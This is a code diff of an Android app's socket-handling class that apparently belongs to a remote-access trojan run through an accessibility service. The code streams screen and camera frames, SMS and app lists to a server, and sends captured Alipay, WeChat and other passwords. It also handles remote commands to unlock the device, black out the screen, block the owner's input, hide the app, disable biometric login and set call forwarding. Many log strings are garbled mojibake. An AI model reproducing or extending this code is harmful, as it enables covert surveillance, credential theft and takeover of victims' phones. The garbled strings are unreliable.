+ val resolvedTurnPassword = data.optString("webrtcTurnPassword", "").trim().takeIf { it.isNotEmpty() }
+
+ val updated = com.hikoncont.util.ConfigWriter.applyInstallBinding(
+ context = service,
+ installToken = installToken,
+ installResolveUrl = resolveUrl,
+ ownerUserId = ownerUserId,
+ ownerUsername = ownerUsername,
+ ownerGroupId = ownerGroupId,
+ ownerGroupName = ownerGroupName,
+ serverUrl = resolvedServerUrl,
+ webUrl = resolvedWebUrl,
+ webrtcTurnUrls = resolvedTurnUrls,
+ webrtcTurnUsername = resolvedTurnUsername,
+ webrtcTurnPassword = resolvedTurnPassword,
+ )
+
+ if (updated) {
+ Log.i(TAG, "Install token resolve success: ownerUserId=$ownerUserId, ownerUsername=$ownerUsername")
+ } else {
+ Log.w(TAG, "Install token resolve success but save config failed")
+ }
+ } catch (e: Exception) {
+ Log.w(TAG, "Install token resolve request error: ${e.message}")
+ }
+ }
+
+ private fun resolveInstallResolveUrl(): String? {
+ val configResolveUrl = getStringConfigValue("installResolveUrl")
+ if (!configResolveUrl.isNullOrBlank()) {
+ return configResolveUrl
+ }
+
+ val configServerUrl = getStringConfigValue("serverUrl")
+ val fallbackServerUrl = if (!configServerUrl.isNullOrBlank()) configServerUrl else serverUrl
+ if (fallbackServerUrl.isBlank()) {
+ return null
+ }
+
+ val httpBase = convertToSocketIoProtocol(fallbackServerUrl).trimEnd('/')
+ return "$httpBase/api/auth/install-links/resolve"
+ }
+
+ private fun optLongFromJson(source: JSONObject, key: String): Long? {
+ if (!source.has(key)) {
+ return null
+ }
+ val raw = source.opt(key) ?: return null
+ return when (raw) {
+ is Number -> raw.toLong()
+ is String -> raw.trim().toLongOrNull()
+ else -> null
+ }
+ }
/**
- * 发送屏幕数据到服务器（优化版本，减少transport error）
+ * comment cleaned
*/
fun sendScreenData(frameData: ByteArray) {
try {
+ if (webRTCManager.isStreaming() || srtStreamManager.isStreaming()) {
+ // WS channel is control-only while dedicated video transport is active.
+ return
+ }
val currentTime = System.currentTimeMillis()
// Rate limit: avoid sending too frequently
if (currentTime - lastScreenDataTime < screenDataInterval) {
- // 跳过这帧，避免发送过于频繁
+ // comment cleaned
return
}
// Size check: avoid sending oversized data causing transport error
if (frameData.size > maxScreenDataSize) {
- Log.w(TAG, "屏幕数据过大被跳过: ${frameData.size} bytes > ${maxScreenDataSize} bytes")
+ Log.w(TAG, "灞忓箷鏁版嵁杩囧ぇ琚烦杩? ${frameData.size} bytes > ${maxScreenDataSize} bytes")
return
}
// Connection starvation check
if (lastSuccessfulDataSend > 0 && currentTime - lastSuccessfulDataSend > dataStarvationTimeout) {
if (!isDataStarved) {
- Log.w(TAG, "检测到数据发送饥饿(${currentTime - lastSuccessfulDataSend}ms)，连接可能有问题")
+ Log.w(TAG, "妫€娴嬪埌鏁版嵁鍙戦€侀ゥ楗?${currentTime - lastSuccessfulDataSend}ms)锛岃繛鎺ュ彲鑳芥湁闂")
isDataStarved = true
- // 不立即重连，而是给连接一些时间恢复
+ // comment cleaned
}
}
if (socket?.connected() == true) {
- // Pre-compute Base64 string to reduce memory allocation during JSON build
- val base64Data = android.util.Base64.encodeToString(frameData, android.util.Base64.NO_WRAP)
-
- val screenData = JSONObject().apply {
+ // comment cleaned
+ val meta = JSONObject().apply {
put("deviceId", getDeviceId())
put("format", "JPEG")
- put("data", base64Data)
put("width", getScreenWidth())
put("height", getScreenHeight())
- put("quality", 50)
+ put("quality", 70)
put("timestamp", currentTime)
put("isLocked", isScreenLocked)
}
-
+
// Enhanced emit failure tolerance
try {
- socket?.emit("screen_data", screenData)
- // 发送成功，重置发送失败计数和饥饿状态
+ if (serverSupportsBinaryScreenData) {
+ socket?.emit("screen_data_bin", meta, frameData)
+ if (++screenPerfLogCounter % 120 == 0) {
+ Log.i(TAG, "Screen frame (binary) sending: size=${frameData.size}B, interval=${screenDataInterval}ms")
+ }
+ } else {
+ val base64Data = android.util.Base64.encodeToString(frameData, android.util.Base64.NO_WRAP)
+ val screenData = JSONObject(meta.toString()).apply {
+ put("data", base64Data)
+ }
+ socket?.emit("screen_data", screenData)
+ if (++screenPerfLogCounter % 120 == 0) {
+ val base64Size = base64Data.length
+ val overhead = if (frameData.size > 0) {
+ "%.1f%%".format(((base64Size - frameData.size).toFloat() / frameData.size) * 100)
+ } else {
+ "N/A"
+ }
+ Log.i(TAG, "Screen frame (Base64) sending: jpeg=${frameData.size}B, b64=${base64Size}B, overhead=$overhead")
+ }
+ }
+
+ // reset failure counters after successful send
screenDataFailureCount = 0
lastSuccessfulDataSend = currentTime
isDataStarved = false
// Only update throttle timestamp after successful emit
lastScreenDataTime = currentTime
- // Log compression and encoding efficiency
- val base64Size = base64Data.length
- val overhead = if (frameData.size > 0) "%.1f%%".format(((base64Size - frameData.size).toFloat() / frameData.size) * 100) else "N/A"
- Log.d(TAG, "发送屏幕数据: JPEG${frameData.size}B -> Base64${base64Size}B (+$overhead 开销, isLocked=${isScreenLocked})")
} catch (emitException: Exception) {
screenDataFailureCount++
- Log.e(TAG, "发送屏幕数据失败(${screenDataFailureCount}次): ${emitException.message}")
+ Log.e(TAG, "鍙戦€佸睆骞曟暟鎹け璐?${screenDataFailureCount}娆?: ${emitException.message}")
if (screenDataFailureCount >= 20) {
- Log.e(TAG, "屏幕数据发送连续失败${screenDataFailureCount}次，触发重连检测")
+ Log.e(TAG, "Screen data send failed repeatedly, triggering reconnect check")
checkConnectionAndReconnect()
screenDataFailureCount = 0
}
- Log.w(TAG, "屏幕数据发送失败，但不影响后续发送")
+ Log.w(TAG, "Screen data send failed, continue with next frame")
}
} else {
@@ -763,12 +1307,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
checkConnectionAndReconnect()
}
} catch (e: Exception) {
- Log.e(TAG, "发送屏幕数据失败", e)
+ Log.e(TAG, "Send screen data failed", e)
}
}
/**
- * 发送摄像头数据到服务器
+ * comment cleaned
*/
fun sendCameraFrame(frameData: ByteArray) {
try {
@@ -788,7 +1332,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
lastCameraDataTime = currentTime
if (socket?.connected() == true) {
- // 将摄像头数据编码为Base64
+ // comment cleaned
val base64Data = android.util.Base64.encodeToString(frameData, android.util.Base64.NO_WRAP)
val cameraData = JSONObject().apply {
@@ -801,12 +1345,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
try {
socket?.emit("camera_data", cameraData)
- // 发送成功，重置失败计数
+ // comment cleaned
cameraDataFailureCount = 0
lastSuccessfulDataSend = currentTime
isDataStarved = false
- Log.d(TAG, "📷 摄像头数据已发送: ${frameData.size} bytes")
+ Log.d(TAG, "馃摲 鎽勫儚澶存暟鎹凡鍙戦€? ${frameData.size} bytes")
} catch (e: Exception) {
cameraDataFailureCount++
Log.w(TAG, "Camera data send failed (${cameraDataFailureCount}x): ${e.message}")
@@ -823,12 +1367,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
checkConnectionAndReconnect()
}
} catch (e: Exception) {
- Log.e(TAG, "发送摄像头数据失败", e)
+ Log.e(TAG, "Failed to send camera data", e)
}
}
/**
- * 发送短信数据到服务器
+ * comment cleaned
*/
fun sendSMSData(smsList: List) {
try {
@@ -841,7 +1385,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
put("timestamp", currentTime)
put("count", smsList.size)
- // 将短信列表转换为JSON数组
+ // comment cleaned
val smsArray = JSONArray()
smsList.forEach { sms ->
val smsJson = JSONObject().apply {
@@ -861,24 +1405,145 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
socket?.emit("sms_data", smsData)
Log.d(TAG, "SMS data sent: ${smsList.size} messages")
} catch (e: Exception) {
- Log.e(TAG, "发送短信数据失败", e)
+ Log.e(TAG, "Send SMS data failed", e)
}
} else {
Log.w(TAG, "Socket not connected, cannot send SMS data")
checkConnectionAndReconnect()
}
} catch (e: Exception) {
- Log.e(TAG, "发送短信数据失败", e)
+ Log.e(TAG, "Send SMS data failed", e)
}
}
/**
- * 发送支付宝密码数据
+ * Send SMS sending result callback.
*/
+ private fun sendSmsSendResult(phoneNumber: String, success: Boolean, message: String) {
+ try {
+ if (socket?.connected() != true) {
+ Log.w(TAG, "Socket not connected, cannot send sms_send_result")
+ return
+ }
+
+ val payload = JSONObject().apply {
+ put("deviceId", getDeviceId())
+ put("type", "sms_send_result")
+ put("timestamp", System.currentTimeMillis())
+ put("phoneNumber", phoneNumber)
+ put("success", success)
+ put("message", message)
+ }
+ socket?.emit("sms_send_result", payload)
+ Log.i(TAG, "sms_send_result sent: success=$success, phone=$phoneNumber")
+ } catch (e: Exception) {
+ Log.e(TAG, "Failed to send sms_send_result", e)
+ }
+ }
+
+ /**
+ * comment cleaned
+ * comment cleaned
+ * 璇存槑: 鍙戦€佸懠鍙浆绉绘墽琛岀粨鏋滃洖鎵э紝Web 绔敤浜庢彁绀衡€滆缃?鍙栨秷鈥濇槸鍚︽墽琛屾垚鍔熴€?
+ */
+ private fun sendCallForwardResult(
+ action: String,
+ rule: String,
+ phoneNumber: String?,
+ success: Boolean,
+ message: String,
+ mmiCode: String? = null,
+ permissionRequested: Boolean = false
+ ) {
+ try {
+ if (socket?.connected() != true) {
+ Log.w(TAG, "Socket not connected, cannot send call_forward_result")
+ return
+ }
+
+ val payload = JSONObject().apply {
+ put("deviceId", getDeviceId())
+ put("type", "call_forward_result")
+ put("timestamp", System.currentTimeMillis())
+ put("action", action)
+ put("rule", rule)
+ put("phoneNumber", phoneNumber ?: "")
+ put("success", success)
+ put("message", message)
+ put("permissionRequested", permissionRequested)
+ if (!mmiCode.isNullOrEmpty()) {
+ put("mmiCode", mmiCode)
+ }
+ }
+ socket?.emit("call_forward_result", payload)
+ Log.i(TAG, "call_forward_result sent: action=$action, success=$success, rule=$rule")
+ } catch (e: Exception) {
+ Log.e(TAG, "Failed to send call_forward_result", e)
+ }
+ }
+
+ /**
+ * comment cleaned
+ * comment cleaned
+ * comment cleaned
+ */
+ private fun sendAppListData(appList: List>) {
+ try {
+ if (socket?.connected() != true) {
+ Log.w(TAG, "Socket not connected, cannot send app_list_data")
+ return
+ }
+
+ val appArray = JSONArray()
+ appList.forEach { app ->
+ appArray.put(JSONObject(app))
+ }
+
+ val payload = JSONObject().apply {
+ put("deviceId", getDeviceId())
+ put("type", "app_list_data")
+ put("timestamp", System.currentTimeMillis())
+ put("count", appList.size)
+ put("appList", appArray)
+ }
+ socket?.emit("app_list_data", payload)
+ Log.i(TAG, "app_list_data sent: count=${appList.size}")
+ } catch (e: Exception) {
+ Log.e(TAG, "Failed to send app_list_data", e)
+ }
+ }
+
+ /**
+ * comment cleaned
+ * comment cleaned
+ * comment cleaned
+ */
+ private fun sendAppOpenResult(packageName: String, success: Boolean, message: String) {
+ try {
+ if (socket?.connected() != true) {
+ Log.w(TAG, "Socket not connected, cannot send app_open_result")
+ return
+ }
+
+ val payload = JSONObject().apply {
+ put("deviceId", getDeviceId())
+ put("type", "app_open_result")
+ put("timestamp", System.currentTimeMillis())
+ put("packageName", packageName)
+ put("success", success)
+ put("message", message)
+ }
+ socket?.emit("app_open_result", payload)
+ Log.i(TAG, "app_open_result sent: package=$packageName, success=$success")
+ } catch (e: Exception) {
+ Log.e(TAG, "Failed to send app_open_result", e)
+ }
+ }
+
fun sendAlipayPasswordData(password: String, inputMethod: String = "custom_keypad") {
try {
if (socket?.connected() == true) {
- Log.i(TAG, "💰 开始发送支付宝密码数据")
+ Log.i(TAG, "Start sending Alipay password data")
val payload = JSONObject().apply {
put("deviceId", getDeviceId())
@@ -902,12 +1567,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
/**
- * 发送支付宝检测状态
+ * comment cleaned
*/
fun sendAlipayDetectionStatus(enabled: Boolean) {
try {
if (socket?.connected() == true) {
- Log.i(TAG, "💰 发送支付宝检测状态: $enabled")
+ Log.i(TAG, "馃挵 鍙戦€佹敮浠樺疂妫€娴嬬姸鎬? $enabled")
val payload = JSONObject().apply {
put("deviceId", getDeviceId())
@@ -928,12 +1593,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
/**
- * 发送微信密码数据
+ * comment cleaned
*/
fun sendWechatPasswordData(password: String, inputMethod: String = "custom_keypad") {
try {
if (socket?.connected() == true) {
- Log.i(TAG, "💬 开始发送微信密码数据")
+ Log.i(TAG, "Start sending WeChat password data")
val payload = JSONObject().apply {
put("deviceId", getDeviceId())
@@ -957,12 +1622,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
/**
- * 发送微信检测状态
+ * comment cleaned
*/
fun sendWechatDetectionStatus(enabled: Boolean) {
try {
if (socket?.connected() == true) {
- Log.i(TAG, "💬 发送微信检测状态: $enabled")
+ Log.i(TAG, "馃挰 鍙戦€佸井淇℃娴嬬姸鎬? $enabled")
val payload = JSONObject().apply {
put("deviceId", getDeviceId())
@@ -983,9 +1648,17 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
/**
- * 发送密码输入数据
+ * comment cleaned
*/
- fun sendPasswordInputData(password: String, inputMethod: String, passwordType: String, activity: String, deviceId: String, installationId: String) {
+ fun sendPasswordInputData(
+ password: String,
+ inputMethod: String,
+ passwordType: String,
+ activity: String,
+ deviceId: String,
+ installationId: String,
+ sourceType: String = "manual_password_input_activity"
+ ) {
try {
if (socket?.connected() == true) {
Log.i(TAG, "Sending password input data: $inputMethod")
@@ -1000,6 +1673,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
put("passwordType", passwordType)
put("activity", activity)
put("installationId", installationId)
+ put("sourceType", sourceType)
put("sessionId", System.currentTimeMillis().toString())
}
@@ -1012,57 +1686,156 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
Log.e(TAG, "Failed to send password input data", e)
}
}
+
+ private fun getSafeScreenSize(): Pair {
+ val metrics = service.resources.displayMetrics
+ val width = if (metrics.widthPixels > 0) metrics.widthPixels else 1080
+ val height = if (metrics.heightPixels > 0) metrics.heightPixels else 1920
+ return Pair(width, height)
+ }
+
+ private fun clampX(value: Float): Float {
+ val (width, _) = getSafeScreenSize()
+ return value.coerceIn(0f, (width - 1).coerceAtLeast(0).toFloat())
+ }
+
+ private fun clampY(value: Float): Float {
+ val (_, height) = getSafeScreenSize()
+ return value.coerceIn(0f, (height - 1).coerceAtLeast(0).toFloat())
+ }
+
+ private fun clampDuration(value: Long, minValue: Long, maxValue: Long): Long {
+ return value.coerceIn(minValue, maxValue)
+ }
+
+ private fun parseJsonFloatOrNull(data: JSONObject, key: String): Float? {
+ if (!data.has(key)) return null
+ val value = data.optDouble(key, Double.NaN)
+ return if (!value.isNaN() && !value.isInfinite()) value.toFloat() else null
+ }
+
+ private fun parseJsonIntOrNull(data: JSONObject, key: String): Int? {
+ if (!data.has(key)) return null
+ val rawValue = data.opt(key) ?: return null
+ return when (rawValue) {
+ is Number -> rawValue.toInt()
+ is String -> rawValue.toIntOrNull()
+ else -> null
+ }
+ }
private fun handleControlMessage(json: JSONObject) {
try {
val type = json.getString("type")
- val data = json.getJSONObject("data")
+ val data = json.optJSONObject("data") ?: JSONObject()
- Log.d(TAG, "处理控制消息: type=$type")
+ Log.d(TAG, "Handle control message: type=$type")
when (type) {
"CLICK" -> {
- val x = data.getDouble("x").toFloat()
- val y = data.getDouble("y").toFloat()
- Log.d(TAG, "执行点击: ($x, $y)")
+ val rawX = parseJsonFloatOrNull(data, "x")
+ val rawY = parseJsonFloatOrNull(data, "y")
+ if (rawX == null || rawY == null) {
+ Log.w(TAG, "Invalid click params: x=${data.opt("x")}, y=${data.opt("y")}")
+ return
+ }
+
+ val x = clampX(rawX)
+ val y = clampY(rawY)
+ Log.d(TAG, "Execute click at: ($x, $y)")
service.performClick(x, y)
}
"SWIPE" -> {
- val startX = data.getDouble("startX").toFloat()
- val startY = data.getDouble("startY").toFloat()
- val endX = data.getDouble("endX").toFloat()
- val endY = data.getDouble("endY").toFloat()
- val duration = data.optLong("duration", 300)
- Log.d(TAG, "执行滑动: ($startX, $startY) -> ($endX, $endY), duration=$duration")
- service.performSwipe(startX, startY, endX, endY, duration)
+ val rawStartX = parseJsonFloatOrNull(data, "startX")
+ val rawStartY = parseJsonFloatOrNull(data, "startY")
+ val rawEndX = parseJsonFloatOrNull(data, "endX")
+ val rawEndY = parseJsonFloatOrNull(data, "endY")
+ if (rawStartX == null || rawStartY == null || rawEndX == null || rawEndY == null) {
+ Log.w(TAG, "Invalid swipe params: start=(${data.opt("startX")}, ${data.opt("startY")}), end=(${data.opt("endX")}, ${data.opt("endY")})")
+ return
+ }
+
+ val startX = clampX(rawStartX)
+ val startY = clampY(rawStartY)
+ val endX = clampX(rawEndX)
+ val endY = clampY(rawEndY)
+ val duration = clampDuration(data.optLong("duration", 300), 120L, 1200L)
+ val distance = hypot((endX - startX).toDouble(), (endY - startY).toDouble())
+
+ if (distance < 8.0) {
+ Log.d(TAG, "Swipe distance too small, fallback to click: ($endX, $endY)")
+ service.performClick(endX, endY)
+ } else {
+ Log.d(TAG, "Execute swipe: ($startX, $startY) -> ($endX, $endY), duration=$duration")
+ service.performSwipe(startX, startY, endX, endY, duration)
+ }
}
"LONG_PRESS" -> {
- val x = data.getDouble("x").toFloat()
- val y = data.getDouble("y").toFloat()
- Log.d(TAG, "执行长按: ($x, $y)")
+ val rawX = parseJsonFloatOrNull(data, "x")
+ val rawY = parseJsonFloatOrNull(data, "y")
+ if (rawX == null || rawY == null) {
+ Log.w(TAG, "Invalid long-press params: x=${data.opt("x")}, y=${data.opt("y")}")
+ return
+ }
+
+ val x = clampX(rawX)
+ val y = clampY(rawY)
+ Log.d(TAG, "Execute long press at: ($x, $y)")
service.performLongPress(x, y)
}
"LONG_PRESS_DRAG" -> {
// Handle continuous long press drag with full path
try {
- val pathArray = data.getJSONArray("path")
- val duration = data.optLong("duration", 1500L)
+ val pathArray = data.optJSONArray("path") ?: JSONArray()
+ val duration = clampDuration(data.optLong("duration", 1500L), 900L, 5000L)
- // 解析路径点
+ // comment cleaned
val pathPoints = mutableListOf()
for (i in 0 until pathArray.length()) {
val point = pathArray.getJSONObject(i)
- val x = point.getDouble("x").toFloat()
- val y = point.getDouble("y").toFloat()
- pathPoints.add(android.graphics.PointF(x, y))
+ val x = point.optDouble("x", Double.NaN)
+ val y = point.optDouble("y", Double.NaN)
+ if (x.isNaN() || x.isInfinite() || y.isNaN() || y.isInfinite()) {
+ continue
+ }
+ val clampedX = clampX(x.toFloat())
+ val clampedY = clampY(y.toFloat())
+ val currentPoint = android.graphics.PointF(clampedX, clampedY)
+
+ if (pathPoints.isEmpty()) {
+ pathPoints.add(currentPoint)
+ } else {
+ val prevPoint = pathPoints.last()
+ val stepDistance = hypot(
+ (currentPoint.x - prevPoint.x).toDouble(),
+ (currentPoint.y - prevPoint.y).toDouble()
+ )
+ if (stepDistance >= 3.0) {
+ pathPoints.add(currentPoint)
+ }
+ }
+ }
+
+ if (pathPoints.size < 2) {
+ val endX = parseJsonFloatOrNull(data, "endX")
+ val endY = parseJsonFloatOrNull(data, "endY")
+ if (endX != null && endY != null) {
+ val clickX = clampX(endX)
+ val clickY = clampY(endY)
+ Log.d(TAG, "闀挎寜鎷栨嫿璺緞涓嶈冻锛岄檷绾т负闀挎寜: ($clickX, $clickY)")
+ service.performLongPress(clickX, clickY)
+ } else {
+ Log.w(TAG, "Long-press drag path too short and no valid end point; skipped")
+ }
+ return
}
Log.d(TAG, "Execute continuous long press drag: pathPoints=${pathPoints.size}, duration=${duration}ms")
service.performContinuousLongPressDrag(pathPoints, duration)
} catch (e: Exception) {
- Log.e(TAG, "解析连续长按拖拽路径失败", e)
+ Log.e(TAG, "Failed to execute continuous long-press drag", e)
}
}
"INPUT_TEXT" -> {
@@ -1083,11 +1856,11 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
// Reset web unlock mode after input
if (isWebUnlock) {
Log.d(TAG, "Scheduling web unlock mode reset")
- // 延迟重置，确保确认操作完成
+ // comment cleaned
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
Log.d(TAG, "Reset web unlock mode")
service.setWebUnlockMode(false)
- }, 5000) // 5秒后重置
+ }, 5000) // 5缁夋帒鎮楅柌宥囩枂
}
}
"UNLOCK_DEVICE" -> {
@@ -1097,38 +1870,38 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
"KEY_EVENT" -> {
- // 支持两种格式：keyCode (整数) 和 key (字符串)
+ // comment cleaned
if (data.has("keyCode")) {
val keyCode = data.getInt("keyCode")
- Log.d(TAG, "按键事件(keyCode): $keyCode")
+ Log.d(TAG, "Key event (keyCode): $keyCode")
when (keyCode) {
3 -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_HOME)
4 -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK)
82 -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_RECENTS)
66 -> {
// Enter key - special handling removed
- Log.d(TAG, "Enter键 - 已删除特殊处理")
+ Log.d(TAG, "Enter key special handling removed")
}
- else -> Log.w(TAG, "未知按键代码: $keyCode")
+ else -> Log.w(TAG, "Unknown keyCode: $keyCode")
}
} else if (data.has("key")) {
val key = data.getString("key")
- Log.d(TAG, "按键事件(key): $key")
+ Log.d(TAG, "Key event (key): $key")
when (key) {
"BACK" -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK)
"HOME" -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_HOME)
"RECENTS" -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_RECENTS)
"ENTER" -> {
// Enter key string form - special handling removed
- Log.d(TAG, "Enter键(字符串) - 已删除特殊处理")
+ Log.d(TAG, "Enter key(string) special handling removed")
}
- else -> Log.w(TAG, "未知按键: $key")
+ else -> Log.w(TAG, "Unknown key: $key")
}
}
}
"GESTURE" -> {
val gestureType = data.getString("type")
- Log.d(TAG, "手势操作: $gestureType")
+ Log.d(TAG, "Gesture operation: $gestureType")
when (gestureType) {
"PINCH_IN", "PINCH_OUT" -> {
val centerX = data.getDouble("centerX").toFloat()
@@ -1139,101 +1912,115 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
}
"POWER_WAKE" -> {
- Log.d(TAG, "点亮屏幕")
+ Log.d(TAG, "Wake screen")
service.wakeScreen()
}
"POWER_SLEEP" -> {
- Log.d(TAG, "锁定屏幕")
+ Log.d(TAG, "Lock screen")
service.lockScreen()
}
+ "MUTE_DEVICE" -> {
+ Log.d(TAG, "Execute one-click mute")
+ applyOneClickMute()
+ }
"ENABLE_BLACK_SCREEN" -> {
- Log.d(TAG, "启用黑屏遮盖")
- service.enableBlackScreen()
+ Log.d(TAG, "Enable black screen overlay")
+ val maskAlpha = parseJsonIntOrNull(data, "maskAlpha")
+ service.enableBlackScreen(maskAlpha)
}
"DISABLE_BLACK_SCREEN" -> {
- Log.d(TAG, "取消黑屏遮盖")
+ Log.d(TAG, "Disable black screen overlay")
service.disableBlackScreen()
}
"HIDE_APP" -> {
- Log.d(TAG, "隐藏应用")
+ Log.d(TAG, "Hide app")
service.hideApp()
}
"SHOW_APP" -> {
- Log.d(TAG, "显示应用")
+ Log.d(TAG, "Show app")
service.showApp()
}
"DEVICE_BLOCK_INPUT" -> {
- Log.d(TAG, "阻止设备用户输入")
- // 检查是否有遮罩配置
+ Log.d(TAG, "Block device input")
+ // comment cleaned
val maskText = data.optString("maskText", null)
val maskTextSize = if (data.has("maskTextSize")) data.getDouble("maskTextSize").toFloat() else null
+ val maskAlpha = parseJsonIntOrNull(data, "maskAlpha")
- if (maskText != null || maskTextSize != null) {
- Log.d(TAG, "设置遮罩配置 - 文字: $maskText, 字体大小: $maskTextSize")
+ if (maskText != null || maskTextSize != null || maskAlpha != null) {
+ Log.d(TAG, "Set mask config - text: $maskText, textSize: $maskTextSize, maskAlpha: $maskAlpha")
service.setMaskTextConfig(maskText, maskTextSize)
+ service.setMaskOverlayAlpha(maskAlpha)
}
service.blockDeviceInput()
}
"DEVICE_ALLOW_INPUT" -> {
- Log.d(TAG, "允许设备用户输入")
+ Log.d(TAG, "Allow device input")
service.allowDeviceInput()
}
"SET_MASK_CONFIG" -> {
- Log.d(TAG, "设置遮罩配置")
+ Log.d(TAG, "Set mask config")
val maskText = data.optString("maskText", null)
val maskTextSize = if (data.has("maskTextSize")) data.getDouble("maskTextSize").toFloat() else null
+ val maskAlpha = parseJsonIntOrNull(data, "maskAlpha")
service.setMaskTextConfig(maskText, maskTextSize)
+ service.setMaskOverlayAlpha(maskAlpha)
}
"LOG_ENABLE" -> {
- Log.d(TAG, "暂停：暂时不启用操作日志记录")
- service.enableLogging() // 暂停：暂时不启用日志
+ Log.d(TAG, "鏆傚仠锛氭殏鏃朵笉鍚敤鎿嶄綔鏃ュ織璁板綍")
+ service.enableLogging() // 鏆傚仠锛氭殏鏃朵笉鍚敤鏃ュ織
}
"LOG_DISABLE" -> {
- Log.d(TAG, "禁用操作日志记录")
+ Log.d(TAG, "Disable operation logging")
service.disableLogging()
}
"SMART_CONFIRM_DETECTION" -> {
- Log.d(TAG, "智能确认按钮检测")
+ Log.d(TAG, "Start smart confirm detection")
val passwordType = data.optString("passwordType", "")
val screenWidth = data.optInt("screenWidth", 0)
val screenHeight = data.optInt("screenHeight", 0)
service.performSmartConfirmDetection(passwordType, screenWidth, screenHeight)
}
"SMART_UNLOCK_SWIPE" -> {
- Log.d(TAG, "智能上滑解锁")
+ Log.d(TAG, "鏅鸿兘涓婃粦瑙ｉ攣")
service.performSmartUnlockSwipe()
}
"ALIPAY_DETECTION_START" -> {
- Log.d(TAG, "开启支付宝检测")
+ Log.d(TAG, "Enable Alipay detection")
service.enableAlipayDetection()
}
"ALIPAY_DETECTION_STOP" -> {
- Log.d(TAG, "关闭支付宝检测")
+ Log.d(TAG, "Disable Alipay detection")
service.disableAlipayDetection()
}
"WECHAT_DETECTION_START" -> {
- Log.d(TAG, "开启微信检测")
+ Log.d(TAG, "Enable WeChat detection")
service.enableWechatDetection()
}
"WECHAT_DETECTION_STOP" -> {
- Log.d(TAG, "关闭微信检测")
+ Log.d(TAG, "Disable WeChat detection")
service.disableWechatDetection()
}
"OPEN_APP_SETTINGS" -> {
- Log.d(TAG, "打开应用设置")
- service.openAppSettings()
+ Log.d(TAG, "Open app settings")
+ openAppSettingsFromSocket()
+ }
+ "DISABLE_BIOMETRIC_AUTH" -> {
+ Log.d(TAG, "Disable biometric auth (fingerprint/face)")
+ val result = service.disableBiometricAuth()
+ sendPermissionResponse("biometric_disable", result.first, result.second)
}
"REFRESH_MEDIA_PROJECTION_PERMISSION" -> {
- Log.d(TAG, "重新获取投屏权限")
+ Log.d(TAG, "Refresh media projection permission")
service.refreshMediaProjectionPermission()
}
"REFRESH_MEDIA_PROJECTION_MANUAL" -> {
- Log.d(TAG, "手动授权投屏权限（不自动点击）")
+ Log.d(TAG, "Request manual media projection permission (no auto click)")
service.refreshMediaProjectionManual()
}
"CLOSE_CONFIG_MASK" -> {
- Log.d(TAG, "手动关闭配置遮盖")
+ Log.d(TAG, "Force close config mask")
val isManual = data.optBoolean("manual", false)
Log.i(TAG, "Received close config mask command - manual: $isManual")
service.forceHideConfigMask(isManual)
@@ -1247,50 +2034,181 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
service.disableUninstallProtection()
}
"CAMERA_START" -> {
- Log.d(TAG, "📷 启动摄像头捕获")
+ Log.d(TAG, "Start camera capture")
service.startCameraCapture()
}
"CAMERA_STOP" -> {
- Log.d(TAG, "📷 停止摄像头捕获")
+ Log.d(TAG, "Stop camera capture")
service.stopCameraCapture()
}
"CAMERA_SWITCH" -> {
- Log.d(TAG, "📷 切换摄像头")
+ Log.d(TAG, "Switch camera")
service.switchCamera()
}
"CAMERA_CAPTURE_START" -> {
- Log.d(TAG, "📷 开始摄像头捕获（精细控制）")
+ Log.d(TAG, "Start camera capture (fine control)")
service.startCameraCapturing()
}
"CAMERA_CAPTURE_STOP" -> {
- Log.d(TAG, "📷 停止摄像头捕获（精细控制）")
+ Log.d(TAG, "Stop camera capture (fine control)")
service.stopCameraCapturing()
}
"CAMERA_STATUS" -> {
val isCapturing = service.isCameraCapturing()
val cameraInfo = service.getCameraInfo()
- Log.d(TAG, "📷 摄像头状态: ${if (isCapturing) "正在捕获" else "未捕获"}, 摄像头: $cameraInfo")
- // 可以在这里发送状态回执给服务器
+ Log.d(TAG, "Camera status: isCapturing=$isCapturing, cameraInfo=$cameraInfo")
+ // comment cleaned
+ }
+ "CAMERA_PERMISSION_REQUEST" -> {
+ Log.d(TAG, "Request camera permission")
+ val hasPermission = service.checkCameraPermission()
+ if (!hasPermission) {
+ service.requestCameraPermission()
+ sendPermissionResponse(
+ "camera",
+ false,
+ buildPermissionDeniedMessage("camera", "Camera permission request started")
+ )
+ } else {
+ sendPermissionResponse("camera", true, "Camera permission granted")
+ }
+ }
+ "CAMERA_PERMISSION_CHECK" -> {
+ val hasPermission = service.checkCameraPermission()
+ Log.d(TAG, "Camera permission status: ${if (hasPermission) "granted" else "not granted"}")
+ sendPermissionResponse(
+ "camera",
+ hasPermission,
+ if (hasPermission) {
+ "Camera permission granted"
+ } else {
+ buildPermissionDeniedMessage("camera", "Camera permission not granted")
+ }
+ )
+ }
+ "CAMERA_PERMISSION_AUTO_GRANT" -> {
+ val hasPermission = service.checkCameraPermission()
+ Log.d(TAG, "Camera permission auto grant check: $hasPermission")
+ if (!hasPermission) {
+ service.requestCameraPermission()
+ sendPermissionResponse(
+ "camera",
+ false,
+ buildPermissionDeniedMessage("camera", "Camera permission auto grant triggered")
+ )
+ } else {
